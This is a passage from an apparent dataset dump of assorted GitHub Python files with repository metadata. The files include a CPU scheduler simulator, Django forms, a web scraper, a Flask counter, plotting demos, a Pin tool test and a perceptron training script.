#possibility value for a background process joined to background queue\n\t\n\t#**********NEW PROCESS*********\n\t#if current process amount <= max process amount\n\tif((newfp < fsce) and (cpam0 and len(background)==0) or (ffree==False) or ( len(foreground) > 0 and bfree==True and fratio >= rand ) ):\n\t#FOREGROUND\n\tif( (ffree==False) or (len(foreground)>0 and len(background)==0) or (len(foreground)>0 and bfree==True and fratio >= rand) ): #if another process is not already running, if FOREGROUND queue is not empty\n\t\tforeground[0]-=1 #execute highest priority process by one cpu clock time\t \n\t\tif(foreground[0] == 0): #if first process is terminated, pop first process, and shift array\n\t\t\tforeground.pop(0)\n\t\t\tfexecute.append(counter) #record execute time of that process to fexecute array\n\t\t\tffree=True #foreground queue is no longer running a processç its free\n\t\telse:\n\t\t\tffree=False\n\t\t\t\n\t#BACKGROUND\n\telif(len(background) > 0): #if BACKGROUND queue is not empty\n\t\tbackground[0]-=1\n\t\tif(background[0] == 0): #if first process is terminated, pop first process, and shift array\n\t\t\tbackground.pop(0)\n\t\t\tbexecute.append(counter)\n\t\t\tbfree=True\n\t\telse:\n\t\t\tbfree=False\n\n\tif(len(foreground) > 0 or len(background) > 0 ):\n\t\tCPUbusy += 1 #required data for computing CPU utility. \n\t\t\n\t\t\n\tprint(\"__________NEW CLOCK LOOP__________\")\n\tprint(\"Clock counter:\",counter)\n\tprint(\"*Foreground Queue:\",foreground)\n\tprint(\"*Background Queue:\",background)\n\tprint(\"Foreground Free:\",ffree)\n\tprint(\"Background Free:\",bfree)\t\n\tprint(\"F.Arrive:\",farrive)\n\tprint(\"F.Execute:\",fexecute)\n\tprint(\"B.Arrive:\",barrive)\n\tprint(\"B.Execute:\",bexecute)\n\tprint(\"F.Burst:\",fburst)\n\tprint(\"B.Burst:\",bburst)\n\tif((admode==2) and (len(foreground)>len(background)+2) and fratio <=80): #change ratio values for adaptive mode\n\t\tfratio +=10\n\t\tprint(\"Foreground ratio increased\")\n\tif((admode==2) and (len(background)>len(foreground)+2) and fratio >=20):\n\t\tfratio -=10\n\t\tprint(\"Foreground ratio decreased\")\n\t\n\tfratioTime.append(fratio)\n\tbratioTime.append(100-fratio)\n\t\n\tif( cpam>=mpam and len(foreground)==0 and len(background)==0 ): #if there is no more process left and all queues are empty. end while loop\n\t\tbreak\n\tos.system(\"pause\")\n\t\n\nprint(\"===============END OF SIMULATION===============\")\n\nforet = np.subtract(fexecute,farrive) #foreground response times for each foreground process\nboret = np.subtract(bexecute,barrive) #foreground response times for each foreground process\nfturnaround = np.add(foret,fburst) #foreground turnaround times for each foreground process\nbturnaround = np.add(boret,bburst) #background turnaround times for each background process\nthroughput = (cpam/counter) #Throughput\nCPUuti = (CPUbusy/counter) #CPU Utilisation\n\nftotal = 0\nbtotal=0\nfor i in range (len(foret)): #Calculate overall response time\n\tftotal += foret[i]\nfor j in range (len(boret)):\n\tbtotal += boret[j]\nif (len(foret)==0):\n\tflenr = 1\nelse :\n\tflenr = len(foret)\nif (len(boret)==0):\n\tblenr = 1\nelse :\n\tblenr = len(boret)\n\t\nfoverall = ftotal/flenr #overall response time result for foreground \nboverall = btotal/blenr #overall response time result for background\noverallResponseT = (foverall+boverall)/2 #overall response time results for both queues\n\nftotal = 0\nbtotal=0\nfoverall = 0\nboverall = 0\nfor i in range (len(fturnaround)): #Calculate overall turnaround time\n\tftotal += fturnaround[i]\nfor j in range (len(bturnaround)):\n\tbtotal += bturnaround[j]\nif (len(fturnaround)==0):\n\tflent = 1\nelse :\n\tflent = len(fturnaround)\nif (len(bturnaround)==0):\n\tblent = 1\nelse :\n\tblent = len(bturnaround)\n\t\nfoverall = ftotal/flent\t\t\t\t\t #overall turnaround time result for foreground\nboverall = btotal/blent #overall turnaround time result for background\noverallTurnaroundT = (foverall+boverall)/2 #overall turnaround time for both queues\ntimeArr = np.arange(0, counter) #array for clock counter [0,1,2,3 ... counter]\nforetTimeArr = np.arange(0, len(foret))\nboretTimeArr = np.arange(0, len(boret))\nfAvgLen = np.sum(fLenTime) / len(fLenTime) #foreground average length\nbAvgLen = np.sum(bLenTime) / len(bLenTime) #background average length\n\n\n\n\n\nprint(\"CPU Utility:\",CPUuti)\nprint(\"Throughput:\",throughput)\nprint(\"Overall Response Time:\",overallResponseT)\nprint(\"Overall Turnaround Time\",overallTurnaroundT)\nprint(\"F.Arrival Times:\",farrive)\nprint(\"F.Execute Times:\",fexecute)\nprint(\"B.Arrival Times:\",barrive)\nprint(\"B.Execute Times:\",bexecute)\nprint(\"F.Burst Times:\",fburst)\nprint(\"B.Burst Times:\",bburst)\nprint(\"F.Response Times:\",foret)\nprint(\"B.Response Times:\",boret)\nprint(\"F.Turnaround Times:\",fturnaround)\nprint(\"B.Turnaround Times:\",bturnaround)\nprint(\"F.Average Length:\",fAvgLen)\nprint(\"B.Average Length:\",bAvgLen)\nprint(\"F.Length-Time:\",fLenTime)\nprint(\"B.Length-Time:\",bLenTime)\n\n\n\n#________________________________________________________________DRAW GRAPH________________________________________________________________\n\n#*****Foreground Response Times\nf1 = plt.figure(1)\npIDforet = np.arange(0, len(foret)) \nplt.bar(pIDforet, foret, tick_label = pIDforet, \nwidth = 0.2, color = ['red', 'green','blue']) \nplt.xlabel('Process ID') \nplt.ylabel('Response Time(Clock Loop)') \nplt.title('Foreground Response Times') \n\n\n#*****Background Response Times\nf2 = plt.figure(2)\npIDboret = np.arange(0, len(boret)) \nplt.bar(pIDboret, boret, tick_label = pIDboret, \nwidth = 0.2, color = ['red', 'green','blue']) \nplt.xlabel('Process ID') \nplt.ylabel('Response Time(Clock Loop)') \nplt.title('Background Response Times') \n \n \n#*****Foreground Turnaround Times\nf3 = plt.figure(3)\npIDfturnaround = np.arange(0, len(fturnaround)) \nplt.bar(pIDfturnaround, fturnaround, tick_label = pIDfturnaround, \nwidth = 0.2, color = ['red', 'green','blue']) \nplt.xlabel('Process ID') \nplt.ylabel('Turnaround Time(Clock Loop)') \nplt.title('Foreground Turnaround Times') \n\n\n#*****Background Turnaround Times\nf4 = plt.figure(4)\npIDbturnaround = np.arange(0, len(bturnaround)) \nplt.bar(pIDbturnaround, bturnaround, tick_label = pIDbturnaround, \nwidth = 0.2, color = ['red', 'green','blue']) \nplt.xlabel('Process ID') \nplt.ylabel('Turnaround Time(Clock Loop)') \nplt.title('Background Turnaround Times') \nplt.show()\n\n\n#*****CPU Utility & Throughput\nf1 = plt.figure(1)\nobjects = ('CPU Utility', 'Throughput')\ny_pos = np.arange(2)\nbartitles = [CPUuti,throughput]\nplt.bar(y_pos, bartitles, align='center', alpha=1)\nplt.xticks(y_pos, objects)\nplt.ylabel('Value')\nplt.title('CPU Utilisation & Throughput')\n\n\n#*****Overall Response Time & Overall Turnaround Time\nf2 = plt.figure(2)\nobjects = ('Overall Response Time', 'Overall Turnaround Time')\ny_pos = np.arange(2)\nbartitles = [overallResponseT,overallTurnaroundT]\nplt.bar(y_pos, bartitles, align='center', alpha=1)\nplt.xticks(y_pos, objects)\nplt.ylabel('Value')\nplt.title('Overall Response Time & Turnaround Time')\n\n\n#*****Avarage Queue Lengths\nf3 = plt.figure(3)\nobjects = ('Foreground', 'Background')\ny_pos = np.arange(2)\nbartitles = [fAvgLen,bAvgLen]\nplt.bar(y_pos, bartitles, align='center', alpha=1)\nplt.xticks(y_pos, objects)\nplt.ylabel('Value')\nplt.title('Average Queue Lengths')\nplt.show()\n\n\n#*****Queue Lengths - Time\nf1 = plt.figure(1)\nfig, ax = plt.subplots()\nfig.suptitle('Queue Lengths - Time')\nax.plot(timeArr, fLenTime, label=\"Foreground\")\nax.plot(timeArr, bLenTime, label=\"Background\")\nax.legend()\nax.set(xlabel='CPU Clock Loop', ylabel='Length(Number of process)')\nax.grid()\n\n\n#*****Priority - Time\nf2 = plt.figure(2)\nfig, ax = plt.subplots()\nfig.suptitle('Queue Priority')\nax.plot(timeArr, fratioTime, label=\"Foreground\")\nax.plot(timeArr, bratioTime, label=\"Background\")\nax.legend()\nax.set(xlabel='CPU Clock Loop', ylabel='Priority')\nax.grid()\nplt.show()\n\n\n\n\n","repo_name":"AhmetSergen/CPU-Simulator_python","sub_path":"CPUsim.py","file_name":"CPUsim.py","file_ext":"py","file_size_in_byte":12030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"38192780676","text":"from django import forms\nfrom performers.models import Performers\nfrom finansy.models import Spending\n\n\nclass FormForReportGlavLaw(forms.Form):\n date_in = forms.DateField(label='Дата (Начало)')\n date_in_max = forms.DateField(label='Дата (Конец)')\n performer_id = forms.ModelChoiceField(queryset=Performers.objects.all(), to_field_name='pk', label='Исполнитель',\n empty_label=None, initial=8)\n\n def __init__(self, *args, **kwargs):\n super(FormForReportGlavLaw, self).__init__(*args, **kwargs)\n self.fields['date_in'].widget.attrs.update(\n {'class': 'form-control', 'id': 'datepicker-autoclose-iso', 'autocomplete': 'off'})\n self.fields['date_in_max'].widget.attrs.update(\n {'class': 'form-control', 'id': 'datepicker-autoclose-iso2', 'autocomplete': 'off'})\n self.fields['performer_id'].widget.attrs.update({'class': 'form-control select2_1'})\n\n\nclass FormForReportNagradaIspolnitelData(forms.Form):\n date_in = forms.DateField(label='Дата (Начало)')\n date_in_max = forms.DateField(label='Дата (Конец)')\n id_ex = forms.ModelMultipleChoiceField(label='Исключить', queryset=Performers.objects.all(), to_field_name='pk',\n blank=True, required=False)\n\n def __init__(self, *args, **kwargs):\n super(FormForReportNagradaIspolnitelData, self).__init__(*args, **kwargs)\n self.fields['date_in'].widget.attrs.update(\n {'class': 'form-control', 'id': 'datepicker-autoclose-iso', 'autocomplete': 'off'})\n self.fields['date_in_max'].widget.attrs.update(\n {'class': 'form-control', 'id': 'datepicker-autoclose-iso2', 'autocomplete': 'off'})\n self.fields['id_ex'].widget.attrs.update({'class': 'form-control select2_1'})\n\n\nclass SpendingAddOnReportForm(forms.ModelForm):\n class Meta:\n model = Spending\n fields = '__all__'\n exclude = ['deal', 'category', 'rec', 'performers', 'com']\n\n def __init__(self, *args, **kwargs):\n super(SpendingAddOnReportForm, self).__init__(*args, **kwargs)\n self.fields['user_do'].widget.attrs.update({'class': 'form-control select2_1'})\n self.fields['sum'].widget.attrs.update({'class': 'form-control', 'id': 'num'})\n self.fields['type'].widget.attrs.update({'class': 'form-control select2_1'})\n self.fields['date'].widget.attrs.update(\n {'class': 'form-control', 'id': 'datepicker-autoclose-iso', 'autocomplete': 'off'})\n","repo_name":"dancha24/lawyer","sub_path":"reports/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"1666260523","text":"from itertools import combinations\n\nM = 1000000007\n\nt = int(input())\nfor i in range(t):\n n = int(input())\n L = list(range(1, n+1))\n numer = sum(1 for i in range(n+1) for comb in combinations(L, i) if sum(comb) % n == 0) % M\n denom = pow(2, (M-2)*n, M)\n print(numer * denom % M)\n","repo_name":"keppnisforritun/keppnir","sub_path":"fkhi/2023/problems/eindahradall/submissions/time_limit_exceeded/brute.py","file_name":"brute.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"40070174715","text":"import urllib.request, urllib.error\nfrom bs4 import BeautifulSoup\nimport xml.etree.ElementTree as ET\nimport re\n\nurl_base = \"https://www.aeonpet-memorial.com/\"\nurl_sitemap = url_base + \"sitemap.xml\"\nurl = \"https://www.aeonpet-memorial.com/reien/satu-petyasuragi-sapporo/\"\n\nurls = []\n\nwith urllib.request.urlopen(url=url_sitemap) as xml_string:\n sitemap = ET.fromstring(xml_string.read())\n\nurls = [child[0].text for child in sitemap.findall('./atom:url', {'atom': 'http://www.sitemaps.org/schemas/sitemap/0.9'}) if re.match('https://www.aeonpet-memorial.com/reien/.+', child[0].text)]\n\npages = [BeautifulSoup(urllib.request.urlopen(url=url), \"html.parser\") for url in urls]\n\nfor index, page in enumerate(pages):\n print('{0}:{1}'.format(index, page.find(\"div\", class_=\"dethead\").find(\"h1\").string))\n","repo_name":"hurikake06/python_lib_test","sub_path":"scraping/aeonpet.py","file_name":"aeonpet.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32311883840","text":"from configparser import ConfigParser\nimport os\n\n\nclass AppConfigReader():\n '''Loads the config file values'''\n\n def __init__(self):\n self.config = ConfigParser()\n # Get the config file path from environmental variable PY_APP_CONFIG\n cfgDir = os.environ.get('SPARK_STREAMING_CFG_DIR')\n if cfgDir:\n cfgFile = cfgDir + \"\\\\twitterstreaming.properties\"\n else:\n cfgFile = \"E:\\\\Spark\\\\github\\\\SparkStreaming\\\\conf\\\\twitterstreaming.properties\"\n print(cfgFile)\n # Load the CFG file\n self.config.read(cfgFile)\n","repo_name":"SathishRM/SparkStreaming","sub_path":"src/util/appconfigreader.py","file_name":"appconfigreader.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"38717239208","text":"# 🚨 Don't change the code below 👇\nage = input(\"What is your current age? \")\n# 🚨 Don't change the code above 👆\n\n#Write your code below this line 👇\n\n#Create a program that tells us how many days, weeks, months we have left if we live until 90 years old.\n\nremaining_age = 90 - int(age)\n#print(remaining_age)\n\ndays_in_a_year = 365\nweeks_in_a_year = 52 \nmonths_in_a_year = 12 \n\nprint(f\"You have {days_in_a_year*remaining_age} days, {weeks_in_a_year*remaining_age} weeks, and {months_in_a_year*remaining_age} months left.\")","repo_name":"prabh8331/Python_projects","sub_path":"Python100daycode/Day2/Your_Life_in_weeks.py","file_name":"Your_Life_in_weeks.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"72391294646","text":"team = input()\nmatches_count = int(input())\n\npoints = 0\n\nwins = 0\ndraws = 0\nlosses = 0\n\nfor match in range(matches_count):\n current_match = input()\n \n if current_match == 'W':\n points += 3\n wins += 1\n elif current_match == 'D':\n points += 1\n draws += 1\n elif current_match == 'L':\n losses += 1\n\n\nif matches_count > 0:\n win_rate = wins * 100 / matches_count\n \n print(f'{team} has won {points} points during this season.')\n print('Total stats:')\n print(f'## W: {wins}')\n print(f'## D: {draws}')\n print(f'## L: {losses}')\n print(f'Win rate: {win_rate:.2f}%')\nelse:\n print(f'{team} hasn\\'t played any games during this season.')","repo_name":"StivanD/Sofutni-Python","sub_path":"01_python_basics/programming_basics_exams/programming_basics_online_exam_6_and_7_july_2019/05_Football_tournament.py","file_name":"05_Football_tournament.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24076018511","text":"import cv2\n'''img = cv2.imread(\"/Users/lannistarker/desktop/pic1.png\")\ncv2.imshow(\"first\",img)\ncv2.waitKey(0)\n'''\n'''vid1=cv2.VideoCapture(\"/Users/lannistarker/desktop/abc.mp4\")\nwhile True:\n success,frame=vid1.read()\n cv2.imshow( \"two\",frame)\n if cv2.waitKey(1) & 0xff==ord('q'):\n break\n'''\nvid = cv2.VideoCapture(0)\nvid.set(3,640)\nvid.set(4,480)\nvid.set(10,100)\nwhile True :\n success,frame=vid.read()\n cv2.imshow(\"two\",frame)\n if ( cv2.waitKey(1) & 0xff==ord('q') ):\n break","repo_name":"chabtj/OpenCV_course","sub_path":"chapter1.py","file_name":"chapter1.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3899420586","text":"# This code is supporting material for the book\n# Building Machine Learning Systems with Python\n# by Willi Richert and Luis Pedro Coelho\n# published by PACKT Publishing\n#\n# It is made available under the MIT License\n\nimport os\n\nfrom matplotlib import pylab\nimport numpy as np\nimport scipy\nfrom scipy.stats import norm, pearsonr\n\nfrom utils import CHART_DIR\n\n\ndef _plot_correlation_func(x, y):\n\n r, p = pearsonr(x, y)\n title = \"Cor($X_1$, $X_2$) = %.3f\" % r\n pylab.scatter(x, y)\n pylab.title(title)\n pylab.xlabel(\"$X_1$\")\n pylab.ylabel(\"$X_2$\")\n\n f1 = scipy.poly1d(scipy.polyfit(x, y, 1))\n pylab.plot(x, f1(x), \"r--\", linewidth=2)\n # pylab.xticks([w*7*24 for w in [0,1,2,3,4]], ['week %i'%(w+1) for w in\n # [0,1,2,3,4]])\n\n\ndef plot_correlation_demo():\n np.random.seed(0) # to reproduce the data later on\n pylab.clf()\n pylab.figure(num=None, figsize=(8, 8))\n\n x = np.arange(0, 10, 0.2)\n\n pylab.subplot(221)\n y = 0.5 * x + norm.rvs(1, scale=.01, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(222)\n y = 0.5 * x + norm.rvs(1, scale=.1, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(223)\n y = 0.5 * x + norm.rvs(1, scale=1, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(224)\n y = norm.rvs(1, scale=10, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.autoscale(tight=True)\n pylab.grid(True)\n\n filename = \"corr_demo_1.png\"\n pylab.savefig(os.path.join(CHART_DIR, filename), bbox_inches=\"tight\")\n\n pylab.clf()\n pylab.figure(num=None, figsize=(8, 8))\n\n x = np.arange(-5, 5, 0.2)\n\n pylab.subplot(221)\n y = 0.5 * x ** 2 + norm.rvs(1, scale=.01, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(222)\n y = 0.5 * x ** 2 + norm.rvs(1, scale=.1, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(223)\n y = 0.5 * x ** 2 + norm.rvs(1, scale=1, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.subplot(224)\n y = 0.5 * x ** 2 + norm.rvs(1, scale=10, size=len(x))\n _plot_correlation_func(x, y)\n\n pylab.autoscale(tight=True)\n pylab.grid(True)\n\n filename = \"corr_demo_2.png\"\n pylab.savefig(os.path.join(CHART_DIR, filename), bbox_inches=\"tight\")\n\nif __name__ == '__main__':\n plot_correlation_demo()\n","repo_name":"luispedro/BuildingMachineLearningSystemsWithPython","sub_path":"ch11/demo_corr.py","file_name":"demo_corr.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":2110,"dataset":"github-code","pt":"76"} +{"seq_id":"15266246989","text":"from flask import Flask, render_template,session,request,redirect\napp = Flask(__name__)\napp.secret_key = \"sneaky\"\n\n\n\n@app.route('/')\ndef index():\n if 'count' in session and 'buttoncount' in session:\n print(session['count'])\n session['count'] = session['count']\n session['buttoncount'] = session['buttoncount']\n else:\n # print(\"no good\")\n session['count'] = 1\n session['buttoncount'] = 0\n\n return render_template('index.html')\n\n@app.route('/count',methods=['POST'])\ndef count():\n session['count'] += 1\n session['buttoncount']+= 1\n return redirect('/')\n\n@app.route('/bytwo', methods=[\"POST\"])\ndef bytwo():\n session['count'] += 2 \n session['buttoncount']+=1\n return redirect('/')\n\n@app.route('/custom',methods=['POST'])\ndef custom():\n (data) = request.form['cusnum']\n session['count'] += int(data)\n session['buttoncount']+=1\n return redirect('/')\n\n\n@app.route('/destroy_session', methods=[\"POST\"])\ndef clear():\n session.clear()\n return redirect('/')\n\nif __name__ == \"__main__\":\n app.run(debug=True, port = 5001)","repo_name":"Pull-Push/CD-Master","sub_path":"Python/Core-Assignments/counter/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"7349961660","text":"import re\nimport unittest\nimport subprocess\n\nclass symbols_list_generation_tests(unittest.TestCase):\n execpath = \"@FLAG_TESTS_EXECUTABLE@\"\n pinpath = \"${PIN_EXECUTABLE}\"\n toolpath = \"@FLAG_TESTS_PINTOOL@\"\n\n\n \n loaded = [[\"executable\", [\"main\"]],\n [\"shared2_funs\", [\"func2_1\", \"func2_2\", \"func2_3\"]],\n [\"shared_funs\", [\"func1\", \"func2\", \"func3\"]]]\n\n executed = [[\"executable\", [\"main\"]],\n [\"shared2_funs\", [\"func2_1\", \"func2_2\"]],\n [\"shared_funs\", [\"func2\"]]]\n\n\n def generate_and_validate_list(self, mode, symbols):\n runargs=[self.pinpath, '-t', self.toolpath, '-gen-sym-list', 'list'+mode+'.txt', '-gen-sym-mode', mode, '--', self.execpath]\n out = subprocess.run(runargs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n print(\"the commandline is {}\".format(subprocess.list2cmdline(out.args)))\n print(out.stdout.decode('utf-8'))\n\n regexes = r\"\\A\" + \"\".join([r\"(?=.*?^\\S*?\" + elem[0] + r\"\\S*?\\s+\" + sym +r\"$)\" for elem in symbols for sym in elem[1]])\n \n with open('list'+mode+'.txt') as ref:\n input = ref.read()\n p = re.compile(regexes, re.MULTILINE | re.DOTALL)\n self.assertRegex(input, p)\n \n \n def test_loaded_symbols(self):\n \"\"\"Checks that the list generated contains the symbols included from executable\"\"\"\n self.generate_and_validate_list('0', self.loaded)\n \n def test_exec_traces(self):\n \"\"\"Checks that the list generated contains the symbols from executed traces from executable\"\"\"\n self.generate_and_validate_list('1', self.executed)\n\n \n def test_exec_bbls(self):\n \"\"\"Checks that the list generated contains the symbols from executed BBLs from executable\"\"\"\n self.generate_and_validate_list('2', self.executed)\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n\n\n\n\n","repo_name":"aneoconsulting/PENE","sub_path":"Test/test_symbol_list_generator/test_symbol_list_generator.py","file_name":"test_symbol_list_generator.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3808151643","text":"\"\"\"shivatalk URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom microapp import views\nfrom django.urls import include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.home),\n path('about_us/', views.about),\n path('contact/feedback/', views.feedback),\n path('contact/', views.contact),\n path('services/', views.services),\n path('mp/', include('microapp.urls')),\n path('control/', include('controlapp.urls')),\n path('electronic_devices/', include('edcapp.urls')),\n path('basic_computer/', include('bcomputerapp.urls')),\n path('covid19/', include('covidapp.urls')),\n]\n","repo_name":"shivatalk/django","sub_path":"shivatalk/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"18623786562","text":"import cv2\nimport argparse\nimport utils\nimport glob\n\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", default='icons',\n help=\"Path to the dir that contains the images to be indexed\")\nap.add_argument(\"-o\", \"--output\", default='features_output',\n help=\"Path to the dir to write feature output to\")\nap.add_argument(\"-c\", \"--colorSpace\", default='bgr',\n help=\"color space to use for generating historgram features (bgr, hsv, or lab)\")\nargs = vars(ap.parse_args())\n\n# gather image paths and sort\nimage_paths = glob.glob('{}/*'.format(args['dataset']))\nimage_paths.sort()\n\n# open output file to write to\noutput = open('{}/color_hists.csv'.format(args[\"output\"]), \"w\")\n\n# init color histogram descriptor\ndesc = utils.colorutils.color_histogram([6, 6, 6], color_space=args['colorSpace'])\n\ncolor_data = []\n# loop over the input dataset of images\nfor image_path in image_paths:\n # load image i and describe\n image = cv2.imread(image_path)\n features = desc.describe(image)\n\n # write image path and feature values as row in csv\n features = [str(x) for x in features]\n output.write('{},{}\\n'.format(image_path, ','.join(features)))\n\n# clean up\noutput.close()\n","repo_name":"AdamSpannbauer/iphone_app_icon","sub_path":"create_color_features.py","file_name":"create_color_features.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"76"} +{"seq_id":"70336935607","text":"\n################### Parte 1 Selection ##########################\n\nn = int(input(\"Digite o numero de posições do vetor: \"))\nvet = [0] * n\nfor i in range(n):\n vet[i] = int(input(\"Digite os elementos do vetor: \"))\nprint(\"Antes de ordenar:\",vet)\n#onde ocorrre o processo de ordenação\n#usando selection sort\nfor i in range(len(vet)-1):\n posm = i\n for j in range(i+1,len(vet)):\n if vet[j] < vet[posm]:\n posm = j\n aux = vet[i]\n vet[i] = vet[posm]\n vet[posm] = aux\nprint(\"Ordenado:\",vet)\n\n\n\n\n\n","repo_name":"markclz/prog1-exercicios","sub_path":"q9l4.py","file_name":"q9l4.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"29171378851","text":"config = {\n 'model_name': 'model1_continue',\n 'mode': 'single',\n 'load': True,\n 'model_to_load': 'model1',\n 'n_episodes': 400000,\n 'epsilon': 0.01,\n 'eps_min': 0.01,\n 'checkpoint_every': 1000,\n 'learn_frequency': 100,\n 'learn_amount': 30,\n 'gamma': 0.99,\n 'learning_rate': 0.0001,\n 'memory_size': 50000,\n 'batch_size': 32,\n 'replace_network_frequency': 1000,\n 'eps_dec': 1e-5,\n 'invalid_moves_enabled': True,\n 'opponent': \"HEURISTIC\",\n 'network': \"2X8\",\n 'canals': 3,\n 'epsilon_softmax' : False,\n 'adamw_optimizer': False,\n 'dropout': False\n}","repo_name":"adaryb123/ReinforcementLearningSantorini","sub_path":"train/configs/model1_continue.py","file_name":"model1_continue.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"23700801170","text":"import numpy\n\nfrom src.utils import *\nfrom src.perceptron import *\nfrom src.methods import *\nimport matplotlib.pyplot as plt\n\ntrainData = parseTrainingData('TP3-ej2-Conjunto-entrenamiento.txt')\n\noutput = parseOutputData('TP3-ej2-Salida-deseada.txt')\n\noutputNormalized = normalize(output)\n\ntrainData = appendThreshold(trainData)\n\n# print(trainData)\n# print(output)\n# print(outputNormalized)\n# print(outputNormalized2\n\n\nlinear_perceptron = perceptron(trainData, output, 0.01, linearActivationFunc, simpleErrorFunc, True)\ntanh_perceptron = perceptron(trainData, outputNormalized, 0.01, sigmoidTanhActivationFunc, simpleErrorFunc, False,\n sigmoidTanhActivationFuncDerivative, denormalizeErrorFunc)\nprint(\"LINEAR PERCEPTRON:\")\nlinear_perceptron.algorithm(10000)\nprint(f'w min: {linear_perceptron.w_min}, error min: {linear_perceptron.error_min}')\nprint(\"NON LINEAR PERCEPTRON:\")\ntanh_perceptron.algorithm(10000)\nprint(\n f'w min: {tanh_perceptron.w_min}, error min: {tanh_perceptron.error_min}, denormalized error min: {tanh_perceptron.min_errors_denormalize[-1]}')\n\nx_axis_values = range(10000)\ny_axis_values = linear_perceptron.errors\nplt.plot(x_axis_values, y_axis_values, label=f'{linear_perceptron}')\nx_axis_values = range(10000)\ny_axis_values = tanh_perceptron.min_errors_denormalize\nplt.ylim(0, 50000)\nplt.plot(x_axis_values, y_axis_values, label=f'{tanh_perceptron} denormalized')\nplt.title(f'Error para cada iteración')\nplt.xlabel(\"Iteraciones\")\nplt.ylabel(\"Error\")\nplt.legend()\nplt.show()\n\nlearnrates = [1, 0.5, 0.1, 0.01, 0.001, 0.0001]\nfor i in learnrates:\n tanh_perceptron.error_min = numpy.inf\n tanh_perceptron.w_min = numpy.zeros(len(trainData[0]))\n tanh_perceptron.learnRate = i\n tanh_perceptron.algorithm(10000)\n x_axis_values = range(10000)\n y_axis_values = tanh_perceptron.min_errors_denormalize\n plt.plot(x_axis_values, y_axis_values, label=f'n = {i}')\nplt.title(f'Error en {tanh_perceptron}')\nplt.xlabel(\"Iteraciones\")\nplt.ylabel(\"Error mínimo\")\nplt.legend()\nplt.show()\n\nks = [20, 40, 60, 80, 100, 120, 140, 160, 180]\nperceptron = perceptron(trainData, outputNormalized, 0.01, sigmoidTanhActivationFunc, simpleErrorFunc,\n False, sigmoidTanhActivationFuncDerivative, denormalizeErrorFunc)\ntrainAcc = numpy.zeros(10)\ntestAcc = numpy.zeros(10)\nfor k in ks:\n trainSet = trainData[:int(k)]\n testSet = trainData[int(k):]\n trainOutput = output[:int(k)]\n trainOutputNormalized = normalize(trainOutput)\n testOutput = output[int(k):]\n testOutputNormalized = normalize(testOutput)\n\n perceptron.trainingData = trainSet\n perceptron.expectedOutput = trainOutputNormalized\n perceptron.error_min = numpy.inf\n perceptron.w_min = numpy.zeros(len(trainData[0]))\n perceptron.algorithm(10000)\n index = k / 20\n trainAcc[int(index)] = denormalizeErrorFunc(trainSet, trainOutputNormalized, perceptron.w_min,\n sigmoidTanhActivationFunc) / len(trainSet)\n\n testAcc[int(index)] = denormalizeErrorFunc(testSet, testOutputNormalized, perceptron.w_min,\n sigmoidTanhActivationFunc) / len(testSet)\n print(f'{trainAcc[int(index)]}, {testAcc[int(index)]}')\n\nx = numpy.zeros(9)\nfor i in range(9):\n x[i] = (i + 1) * 10\n\nx_axis_values = x\ny_axis_values = trainAcc[1:]\nplt.plot(x_axis_values, y_axis_values, label=f'Entrenamiento')\ny_axis_values = 